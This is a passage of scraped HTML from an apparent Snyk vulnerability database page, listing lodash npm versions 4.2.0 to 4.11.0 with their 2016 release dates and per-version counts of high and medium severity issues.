severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.11.0\" data-v-90f947a4>\n          13 Apr, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.10.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.10.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.10.0\" published=\"11 Apr, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.10.0\" data-v-90f947a4>\n          11 Apr, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.9.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.9.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.9.0\" published=\"8 Apr, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.9.0\" data-v-90f947a4>\n          8 Apr, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.8.2\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.8.2\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.8.2\" published=\"5 Apr, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.8.2\" data-v-90f947a4>\n          5 Apr, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.8.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.8.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.8.1\" published=\"4 Apr, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.8.1\" data-v-90f947a4>\n          4 Apr, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.8.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.8.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.8.0\" published=\"4 Apr, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.8.0\" data-v-90f947a4>\n          4 Apr, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.7.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.7.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.7.0\" published=\"31 Mar, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.7.0\" data-v-90f947a4>\n          31 Mar, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.6.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.6.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.6.1\" published=\"2 Mar, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.6.1\" data-v-90f947a4>\n          2 Mar, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.6.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.6.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.6.0\" published=\"2 Mar, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.6.0\" data-v-90f947a4>\n          2 Mar, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.5.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.5.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.5.1\" published=\"22 Feb, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.5.1\" data-v-90f947a4>\n          22 Feb, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.5.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.5.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.5.0\" published=\"17 Feb, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.5.0\" data-v-90f947a4>\n          17 Feb, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.4.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.4.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.4.0\" published=\"16 Feb, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.4.0\" data-v-90f947a4>\n          16 Feb, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.3.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.3.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.3.0\" published=\"8 Feb, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.3.0\" data-v-90f947a4>\n          8 Feb, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.2.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.2.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.2.1\" published=\"3 Feb, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.2.1\" data-v-90f947a4>\n          3 Feb, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.2.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.2.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.2.0\" published=\"2 Feb, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.2.0\" data-v-90f947a4>\n          2 Feb, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li 